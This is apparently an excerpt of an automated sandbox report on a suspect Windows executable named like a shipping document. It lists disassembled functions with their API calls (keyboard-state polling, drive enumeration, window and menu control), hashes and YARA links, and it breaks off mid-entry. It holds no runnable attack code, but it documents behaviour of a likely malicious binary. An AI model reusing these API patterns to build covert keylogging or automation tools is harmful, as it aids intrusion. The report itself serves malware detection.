                                                • Instruction ID: 63d8039fc52d49d6c13b4cd7f071b17bcfefbaea08d868bf82c0c46e07060fa4
                                                • Opcode Fuzzy Hash: 3849d580fa64c312f75251083ba40af87bf91b5bf138c383c398812d9f8f54a3
                                                • Instruction Fuzzy Hash: 1511D531904114AFCB24FB669C4AEEB77ACDF41710F0841BAF444B6092EF719AC58A71
                                                Function 00DE5217 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                Download Yara Rule
                                                APIs
                                                • timeGetTime.WINMM ref: 00DE521C
                                                  • Part of subcall function 00DA0719: timeGetTime.WINMM(?,75A4B400,00D90FF9), ref: 00DA071D
                                                • Sleep.KERNEL32(0000000A), ref: 00DE5248
                                                • EnumThreadWindows.USER32(?,Function_000651CA,00000000), ref: 00DE526C
                                                • FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00DE528E
                                                • SetActiveWindow.USER32 ref: 00DE52AD
                                                • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00DE52BB
                                                • SendMessageW.USER32(00000010,00000000,00000000), ref: 00DE52DA
                                                • Sleep.KERNEL32(000000FA), ref: 00DE52E5
                                                • IsWindow.USER32 ref: 00DE52F1
                                                • EndDialog.USER32(00000000), ref: 00DE5302
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                • String ID: BUTTON
                                                • API String ID: 1194449130-3405671355
                                                • Opcode ID: 5a918fcce9f21ad457d4428139c33a0b1b018412efc7a1e715b8fff83f87487a
                                                • Instruction ID: 1a3a40619075d1e9365d126aae9abda662492937d2aa6b0e139982c5de24e145
                                                • Opcode Fuzzy Hash: 5a918fcce9f21ad457d4428139c33a0b1b018412efc7a1e715b8fff83f87487a
                                                • Instruction Fuzzy Hash: 8121A474504744AFE7106F23FC88B263B6AEB4638AF041424F141A65B1CBB6AC9997F6
                                                Function 00DED7F8 Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D89997: __itow.LIBCMT ref: 00D899C2
                                                  • Part of subcall function 00D89997: __swprintf.LIBCMT ref: 00D89A0C
                                                • CoInitialize.OLE32(00000000), ref: 00DED855
                                                • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00DED8E8
                                                • SHGetDesktopFolder.SHELL32(?), ref: 00DED8FC
                                                • CoCreateInstance.OLE32(00E12D7C,00000000,00000001,00E3A89C,?), ref: 00DED948
                                                • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00DED9B7
                                                • CoTaskMemFree.OLE32(?,?), ref: 00DEDA0F
                                                • _memset.LIBCMT ref: 00DEDA4C
                                                • SHBrowseForFolderW.SHELL32(?), ref: 00DEDA88
                                                • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00DEDAAB
                                                • CoTaskMemFree.OLE32(00000000), ref: 00DEDAB2
                                                • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 00DEDAE9
                                                • CoUninitialize.OLE32(00000001,00000000), ref: 00DEDAEB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                • String ID:
                                                • API String ID: 1246142700-0
                                                • Opcode ID: 3c581cafe68981857c541bf4e8e36310bf5b49f0f044db0447cba3ae179d837b
                                                • Instruction ID: 7f81d372ddc2af7d0add25c889450a619de265f88b4e3cc4d0262ac53dba70a2
                                                • Opcode Fuzzy Hash: 3c581cafe68981857c541bf4e8e36310bf5b49f0f044db0447cba3ae179d837b
                                                • Instruction Fuzzy Hash: 24B1F075A00109AFDB14EFA5C894DAEBBF9FF48304B148469F909EB251DB31EE45CB60
                                                Function 00DE052C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?), ref: 00DE05A7
                                                • SetKeyboardState.USER32(?), ref: 00DE0612
                                                • GetAsyncKeyState.USER32(000000A0), ref: 00DE0632
                                                • GetKeyState.USER32(000000A0), ref: 00DE0649
                                                • GetAsyncKeyState.USER32(000000A1), ref: 00DE0678
                                                • GetKeyState.USER32(000000A1), ref: 00DE0689
                                                • GetAsyncKeyState.USER32(00000011), ref: 00DE06B5
                                                • GetKeyState.USER32(00000011), ref: 00DE06C3
                                                • GetAsyncKeyState.USER32(00000012), ref: 00DE06EC
                                                • GetKeyState.USER32(00000012), ref: 00DE06FA
                                                • GetAsyncKeyState.USER32(0000005B), ref: 00DE0723
                                                • GetKeyState.USER32(0000005B), ref: 00DE0731
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: State$Async$Keyboard
                                                • String ID:
                                                • API String ID: 541375521-0
                                                • Opcode ID: 7b31f067bde0204b63bcc6a89cdbefc3c4a179d2150010e3e8ca99cde6b9bdde
                                                • Instruction ID: a15eeb4a63fc299390e598bc3e99a9cd65eb8bb6b2cce2ae86886892113c5f81
                                                • Opcode Fuzzy Hash: 7b31f067bde0204b63bcc6a89cdbefc3c4a179d2150010e3e8ca99cde6b9bdde
                                                • Instruction Fuzzy Hash: DA51B974A047C82AFB35FBA288547EABFB49F01380F4C459DD5C6561C2DAA49ACCCB71
                                                Function 00DDC72A Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetDlgItem.USER32(?,00000001), ref: 00DDC746
                                                • GetWindowRect.USER32(00000000,?), ref: 00DDC758
                                                • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 00DDC7B6
                                                • GetDlgItem.USER32(?,00000002), ref: 00DDC7C1
                                                • GetWindowRect.USER32(00000000,?), ref: 00DDC7D3
                                                • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 00DDC827
                                                • GetDlgItem.USER32(?,000003E9), ref: 00DDC835
                                                • GetWindowRect.USER32(00000000,?), ref: 00DDC846
                                                • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00DDC889
                                                • GetDlgItem.USER32(?,000003EA), ref: 00DDC897
                                                • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00DDC8B4
                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00DDC8C1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$ItemMoveRect$Invalidate
                                                • String ID:
                                                • API String ID: 3096461208-0
                                                • Opcode ID: 86554bcb8ddb1b393f2cc695f0c7c162be115a855f6d669f40edc051caeb515a
                                                • Instruction ID: 0b1cce1bfd645f224d7ad13c053af46b3e801a7facb8a3f7f7e72a7c5d60f337
                                                • Opcode Fuzzy Hash: 86554bcb8ddb1b393f2cc695f0c7c162be115a855f6d669f40edc051caeb515a
                                                • Instruction Fuzzy Hash: 71515071B10205AFDB18CFA9DD89AAEBBBAFB88310F14812EF515E7290D7719D44CB50
                                                Function 00D8201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D81B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D82036,?,00000000,?,?,?,?,00D816CB,00000000,?), ref: 00D81B9A
                                                • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00D820D3
                                                • KillTimer.USER32(-00000001,?,?,?,?,00D816CB,00000000,?,?,00D81AE2,?,?), ref: 00D8216E
                                                • DestroyAcceleratorTable.USER32(00000000), ref: 00DBBEF6
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D816CB,00000000,?,?,00D81AE2,?,?), ref: 00DBBF27
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D816CB,00000000,?,?,00D81AE2,?,?), ref: 00DBBF3E
                                                • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D816CB,00000000,?,?,00D81AE2,?,?), ref: 00DBBF5A
                                                • DeleteObject.GDI32(00000000), ref: 00DBBF6C
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                • String ID:
                                                • API String ID: 641708696-0
                                                • Opcode ID: 5e010730121143a47157b1c8690f428fa91a11035f9ba176e2aac3c05dd65686
                                                • Instruction ID: cc3fbd478b83d1f58e38d220a0045f4499d8f8be04af616445db4312ae59e0bf
                                                • Opcode Fuzzy Hash: 5e010730121143a47157b1c8690f428fa91a11035f9ba176e2aac3c05dd65686
                                                • Instruction Fuzzy Hash: 4D61AD34100710DFDB39AF15DD48B79B7F1FF4A316F18442AE18266960C772A896DFA2
                                                Function 00D821A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D825DB: GetWindowLongW.USER32(?,000000EB), ref: 00D825EC
                                                • GetSysColor.USER32(0000000F), ref: 00D821D3
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ColorLongWindow
                                                • String ID:
                                                • API String ID: 259745315-0
                                                • Opcode ID: d8953f11f188f91a7a91edbe7d53bfd0500c22545c22fed1d980db54203e7407
                                                • Instruction ID: f220ae3099ea0cce7a5f6bd5e74c428134dd8efb513659b977b9e3dec68a81f5
                                                • Opcode Fuzzy Hash: d8953f11f188f91a7a91edbe7d53bfd0500c22545c22fed1d980db54203e7407
                                                • Instruction Fuzzy Hash: 7D41B031100240EFDB256F68EC88BB93B65FB06331F584265FD669A1E2C7328C82DB75
                                                Function 00DEAB12 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON
                                                Download Yara Rule
                                                APIs
                                                • CharLowerBuffW.USER32(?,?,00E0F910), ref: 00DEAB76
                                                • GetDriveTypeW.KERNEL32(00000061,00E3A620,00000061), ref: 00DEAC40
                                                • _wcscpy.LIBCMT ref: 00DEAC6A
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BuffCharDriveLowerType_wcscpy
                                                • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                • API String ID: 2820617543-1000479233
                                                • Opcode ID: e329a4fb0782f8862769f6388da320631079715b66745359aada5017474c6792
                                                • Instruction ID: 397d264867e57eea9ce578d1782f0750e64c80ac3924ce751cd07015a1aaefb9
                                                • Opcode Fuzzy Hash: e329a4fb0782f8862769f6388da320631079715b66745359aada5017474c6792
                                                • Instruction Fuzzy Hash: DF5190351083429BC714FF19C892AAABBA5EF85304F584829F4D6572A2DB31E949CB73
                                                Function 00E0C27C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 149windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                  • Part of subcall function 00D82344: GetCursorPos.USER32(?), ref: 00D82357
                                                  • Part of subcall function 00D82344: ScreenToClient.USER32(00E467B0,?), ref: 00D82374
                                                  • Part of subcall function 00D82344: GetAsyncKeyState.USER32(00000001), ref: 00D82399
                                                  • Part of subcall function 00D82344: GetAsyncKeyState.USER32(00000002), ref: 00D823A7
                                                • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00E0C2E4
                                                • ImageList_EndDrag.COMCTL32 ref: 00E0C2EA
                                                • ReleaseCapture.USER32 ref: 00E0C2F0
                                                • SetWindowTextW.USER32(?,00000000), ref: 00E0C39A
                                                • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00E0C3AD
                                                • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00E0C48F
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                                • String ID: @GUI_DRAGFILE$@GUI_DROPID$pr$pr
                                                • API String ID: 1924731296-488423084
                                                • Opcode ID: 5a3e0203e9bb7dcaa1be8d8c667e9bf6730bac8cde1ced2e91870f9cd7861886
                                                • Instruction ID: 1779e53d87cbec6738679825a57d78f6d0dfd7bda625c273b218b5ea76e6331f
                                                • Opcode Fuzzy Hash: 5a3e0203e9bb7dcaa1be8d8c667e9bf6730bac8cde1ced2e91870f9cd7861886
                                                • Instruction Fuzzy Hash: E551BE74204304AFD714EF20DC96F6A7BE4FB89314F10462DF591AB2E1CB71A999CB62
                                                Function 00D89997 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __i64tow__itow__swprintf
                                                • String ID: %.15g$0x%p$False$True
                                                • API String ID: 421087845-2263619337
                                                • Opcode ID: 4f2df0d55db7a7e38cfb92dba5b3f2e626b65c39ced65d41ba864ad4fa95e79a
                                                • Instruction ID: 2d1cd59d7239cdf22af26bc69ac866124ea9325cae23ff72714d3f3031e69c6d
                                                • Opcode Fuzzy Hash: 4f2df0d55db7a7e38cfb92dba5b3f2e626b65c39ced65d41ba864ad4fa95e79a
                                                • Instruction Fuzzy Hash: 3941B271604205EEDF24BB38DC42E7AB7E8EF45310F28446EE58AD6291EA71D941CB31
                                                Function 00E073C1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00E073D9
                                                • CreateMenu.USER32 ref: 00E073F4
                                                • SetMenu.USER32(?,00000000), ref: 00E07403
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00E07490
                                                • IsMenu.USER32(?), ref: 00E074A6
                                                • CreatePopupMenu.USER32 ref: 00E074B0
                                                • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00E074DD
                                                • DrawMenuBar.USER32 ref: 00E074E5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                • String ID: 0$F
                                                • API String ID: 176399719-3044882817
                                                • Opcode ID: 0874d9d49637d9d37b8d819703a1655419d197a95123c838211a4183fe10f916
                                                • Instruction ID: 712cd4ac637dbb5c511b2591025c697eb6d429257f577a2bc5e35e95c3011151
                                                • Opcode Fuzzy Hash: 0874d9d49637d9d37b8d819703a1655419d197a95123c838211a4183fe10f916
                                                • Instruction Fuzzy Hash: DC415878A00205EFDB20DF65D884A9ABBB5FF49305F144029F995B73A0D731AD64CB60
                                                Function 00E0772A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00E077CD
                                                • CreateCompatibleDC.GDI32(00000000), ref: 00E077D4
                                                • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00E077E7
                                                • SelectObject.GDI32(00000000,00000000), ref: 00E077EF
                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 00E077FA
                                                • DeleteDC.GDI32(00000000), ref: 00E07803
                                                • GetWindowLongW.USER32(?,000000EC), ref: 00E0780D
                                                • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00E07821
                                                • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00E0782D
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                • String ID: static
                                                • API String ID: 2559357485-2160076837
                                                • Opcode ID: b028afd511f3ff0bfbc11f509ca8767949f1fa8870d8d048e8029448569f0215
                                                • Instruction ID: c99584dbaf26fd30db0697e86fb658c2aacdacf6e9509a3d54ab37e72b02f272
                                                • Opcode Fuzzy Hash: b028afd511f3ff0bfbc11f509ca8767949f1fa8870d8d048e8029448569f0215
                                                • Instruction Fuzzy Hash: F731AA32101214AFDF229FA5DC08FDA3B69FF09365F104225FA55B20E0C732E8A5DBA0
                                                Function 00DA7040 Relevance: 16.8, APIs: 11, Instructions: 258COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DA707B
                                                  • Part of subcall function 00DA8D68: __getptd_noexit.LIBCMT ref: 00DA8D68
                                                • __gmtime64_s.LIBCMT ref: 00DA7114
                                                • __gmtime64_s.LIBCMT ref: 00DA714A
                                                • __gmtime64_s.LIBCMT ref: 00DA7167
                                                • __allrem.LIBCMT ref: 00DA71BD
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DA71D9
                                                • __allrem.LIBCMT ref: 00DA71F0
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DA720E
                                                • __allrem.LIBCMT ref: 00DA7225
                                                • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DA7243
                                                • __invoke_watson.LIBCMT ref: 00DA72B4
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                • String ID:
                                                • API String ID: 384356119-0
                                                • Opcode ID: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
                                                • Instruction ID: 9f7f7105af4bccf5a6ba3d2a98c30e4e7e13fd0ba743983d2d51e0a861fcdd3f
                                                • Opcode Fuzzy Hash: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
                                                • Instruction Fuzzy Hash: EF71D771A04716ABD7149F79CC42BAAB3B8FF16324F14423AF915E7281E770E94087B4
                                                Function 00DE2A16 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DE2A31
                                                • GetMenuItemInfoW.USER32(00E46890,000000FF,00000000,00000030), ref: 00DE2A92
                                                • SetMenuItemInfoW.USER32(00E46890,00000004,00000000,00000030), ref: 00DE2AC8
                                                • Sleep.KERNEL32(000001F4), ref: 00DE2ADA
                                                • GetMenuItemCount.USER32(?), ref: 00DE2B1E
                                                • GetMenuItemID.USER32(?,00000000), ref: 00DE2B3A
                                                • GetMenuItemID.USER32(?,-00000001), ref: 00DE2B64
                                                • GetMenuItemID.USER32(?,?), ref: 00DE2BA9
                                                • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00DE2BEF
                                                • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00DE2C03
                                                • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00DE2C24
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                • String ID:
                                                • API String ID: 4176008265-0
                                                • Opcode ID: 30b95759bdad752ab68e938d7e336b990ee11958a9d98f06fb7093de6e3c1e7e
